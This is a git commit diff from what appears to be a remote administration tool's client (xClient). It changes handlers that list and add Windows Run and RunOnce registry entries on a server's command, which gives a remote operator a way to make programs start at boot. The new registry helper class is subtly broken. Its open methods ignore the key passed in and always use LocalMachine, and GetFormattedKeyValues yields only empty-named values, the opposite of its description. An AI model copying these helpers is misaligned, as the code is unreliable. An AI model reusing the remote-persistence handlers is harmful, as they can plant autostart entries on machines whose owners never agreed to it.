Merge pull request #258 from yankejustin/StartupItemsFix

Startup items fix
This commit is contained in:
MaxXor 2015-06-02 19:57:47 +02:00
commit a12db999d5
4 changed files with 148 additions and 74 deletions

View File

@ -65,6 +65,7 @@
</Compile>
<Compile Include="Core\Encryption\AES.cs" />
<Compile Include="Core\Encryption\SHA256.cs" />
<Compile Include="Core\Extensions\RegistryKeyExtensions.cs" />
<Compile Include="Core\Helper\FileSplit.cs" />
<Compile Include="Core\Helper\UnsafeStreamCodec.cs" />
<Compile Include="Core\Information\OSInfo.cs" />

View File

@ -6,6 +6,7 @@
using Microsoft.Win32;
using xClient.Core.Information;
using xClient.Core.RemoteShell;
using xClient.Core.Extensions;
namespace xClient.Core.Commands
{
@ -56,100 +57,85 @@ public static void HandleGetStartupItems(Packets.ServerPackets.GetStartupItems c
try
{
Dictionary<string, int> startupItems = new Dictionary<string, int>();
int i = 0;
using (
var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
false))
using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
foreach (var k in key.GetValueNames())
foreach (string formattedKeyValue in key.GetFormattedKeyValues())
{
if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue;
startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 0);
startupItems.Add(formattedKeyValue, i);
}
}
}
using (
var key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
false))
i++;
using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key != null)
{
foreach (var k in key.GetValueNames())
foreach (string formattedKeyValue in key.GetFormattedKeyValues())
{
if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue;
startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 1);
startupItems.Add(formattedKeyValue, i);
}
}
}
using (
var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", false)
)
i++;
using (var key = Registry.CurrentUser.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
foreach (var k in key.GetValueNames())
foreach (string formattedKeyValue in key.GetFormattedKeyValues())
{
if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue;
startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 2);
startupItems.Add(formattedKeyValue, i);
}
}
}
using (
var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
false))
i++;
using (var key = Registry.CurrentUser.OpenReadonlySubKeySafe("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key != null)
{
foreach (var k in key.GetValueNames())
foreach (string formattedKeyValue in key.GetFormattedKeyValues())
{
if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue;
startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 3);
startupItems.Add(formattedKeyValue, i);
}
}
}
i++;
if (OSInfo.Bits == 64)
{
using (
var key =
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run",
false))
using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key != null)
{
foreach (var k in key.GetValueNames())
foreach (string formattedKeyValue in key.GetFormattedKeyValues())
{
if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue;
startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 4);
startupItems.Add(formattedKeyValue, i);
}
}
}
using (
var key =
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
false))
i++;
using (var key = Registry.LocalMachine.OpenReadonlySubKeySafe("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key != null)
{
foreach (var k in key.GetValueNames())
foreach (string formattedKeyValue in key.GetFormattedKeyValues())
{
if (string.IsNullOrEmpty(k) || key.GetValue(k) == null) continue;
startupItems.Add(string.Format("{0}||{1}", k, key.GetValue(k)), 5);
startupItems.Add(formattedKeyValue, i);
}
}
}
i++;
}
if (Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Startup)))
{
var files =
new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles();
var files = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.Startup)).GetFiles();
foreach (var file in files)
{
if (file.Name != "desktop.ini")
startupItems.Add(string.Format("{0}||{1}", file.Name, file.FullName), 6);
startupItems.Add(string.Format("{0}||{1}", file.Name, file.FullName), i);
}
}
@ -168,12 +154,9 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com
switch (command.Type)
{
case 0:
using (
var key =
Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception("Registry key does not exist");
if (key == null) throw new ArgumentException("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
command.Path = "\"" + command.Path + "\"";
key.SetValue(command.Name, command.Path);
@ -181,12 +164,9 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com
}
break;
case 1:
using (
var key =
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true))
using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key == null) throw new Exception("Registry key does not exist");
if (key == null) throw new ArgumentException("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
command.Path = "\"" + command.Path + "\"";
key.SetValue(command.Name, command.Path);
@ -194,12 +174,9 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com
}
break;
case 2:
using (
var key =
Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
true))
using (var key = Registry.CurrentUser.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception("Registry key does not exist");
if (key == null) throw new ArgumentException("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
command.Path = "\"" + command.Path + "\"";
key.SetValue(command.Name, command.Path);
@ -207,12 +184,9 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com
}
break;
case 3:
using (
var key =
Registry.CurrentUser.OpenSubKey(
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true))
using (var key = Registry.CurrentUser.OpenWritableSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key == null) throw new Exception("Registry key does not exist");
if (key == null) throw new ArgumentException("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
command.Path = "\"" + command.Path + "\"";
key.SetValue(command.Name, command.Path);
@ -223,12 +197,9 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com
if (OSInfo.Bits != 64)
throw new NotSupportedException("Only on 64-bit systems supported");
using (
var key =
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run", true))
using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"))
{
if (key == null) throw new Exception("Registry key does not exist");
if (key == null) throw new ArgumentException("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
command.Path = "\"" + command.Path + "\"";
key.SetValue(command.Name, command.Path);
@ -239,12 +210,9 @@ public static void HandleAddStartupItem(Packets.ServerPackets.AddStartupItem com
if (OSInfo.Bits != 64)
throw new NotSupportedException("Only on 64-bit systems supported");
using (
var key =
Registry.LocalMachine.OpenSubKey(
"SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true))
using (var key = Registry.LocalMachine.OpenWritableSubKey("SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce"))
{
if (key == null) throw new Exception("Registry key does not exist");
if (key == null) throw new ArgumentException("Registry key does not exist");
if (!command.Path.StartsWith("\"") && !command.Path.EndsWith("\""))
command.Path = "\"" + command.Path + "\"";
key.SetValue(command.Name, command.Path);

View File

@ -0,0 +1,105 @@
using System.Collections.Generic;
using Microsoft.Win32;
using System.Linq;
namespace xClient.Core.Extensions
{
public static class RegistryKeyExtensions
{
/// <summary>
/// Determines if the registry key by the name provided is null or has the value of null.
/// </summary>
/// <param name="keyName">The name associated with the registry key.</param>
/// <param name="key">The actual registry key.</param>
/// <param name="keyValue">The string value of the registry key determined by the key's name.</param>
/// <returns>True if the provided name is null or empty, or the key is null; False if otherwise.</returns>
public static bool IsNameOrValueNull(this string keyName, RegistryKey key)
{
return (string.IsNullOrEmpty(keyName) || (key == null));
}
/// <summary>
/// Attempts to get the value of the key using the specified key name. This method assumes
/// correct input.
/// </summary>
/// <param name="key">The key of which we obtain the value of.</param>
/// <param name="keyName">The name of the key.</param>
/// <returns>Returns the value of the key using the specified key name. If unable to do so,
/// string.Empty will be returned instead.</returns>
public static string GetValueSafe(this RegistryKey key, string keyName)
{
// Before calling this, use something such as "IsNameOrValueNull" to make sure
// that the input used for this method is usable. The responsibility for this
// method is to take these valid parameters and try to get the value of them,
// allowing exceptions if any are generated.
try
{
return key.GetValue(keyName).ToString();
}
catch
{
return string.Empty;
}
}
/// <summary>
/// Attempts to obtain a readonly (non-writable) sub key from the key provided using the
/// specified name. Exceptions thrown will be caught and will only return a null key.
/// This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is obtained from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key obtained from the key and name provided; Returns null if
/// unable to obtain a sub-key.</returns>
public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name)
{
try
{
return Registry.LocalMachine.OpenSubKey(name, false);
}
catch
{
return null;
}
}
/// <summary>
/// Attempts to obtain a writable sub key from the key provided using the specified
/// name. This method assumes the caller will dispose of the key when done using it.
/// </summary>
/// <param name="key">The key of which the sub key is obtained from.</param>
/// <param name="name">The name of the sub-key.</param>
/// <returns>Returns the sub-key obtained from the key and name provided; Returns null if
/// unable to obtain a sub-key.</returns>
public static RegistryKey OpenWritableSubKey(this RegistryKey key, string name)
{
return Registry.LocalMachine.OpenSubKey(name, true);
}
/// <summary>
/// Gets all of the value names associated with the registry key and returns
/// formatted strings of the filtered values.
/// </summary>
/// <param name="key">The registry key of which the values are obtained.</param>
/// <returns>Yield returns formatted strings of the key and the key value.</returns>
public static IEnumerable<string> GetFormattedKeyValues(this RegistryKey key)
{
if (key != null)
{
foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)))
{
// Less-likely, but this will ensure no empty items if an exception was thrown
// when obtaining the value.
if (string.IsNullOrEmpty(k))
{
yield return string.Format("{0}||{1}", k, key.GetValueSafe(k));
}
}
}
else
{
yield break;
}
}
}
}

View File

@ -116,7 +116,7 @@ public static void HandleGetSystemInfoResponse(Client client, GetSystemInfoRespo
public static void HandleGetStartupItemsResponse(Client client, GetStartupItemsResponse packet)
{
if (client.Value.FrmStm == null)
if (client.Value.FrmStm == null || packet.StartupItems == null)
return;
foreach (var pair in packet.StartupItems)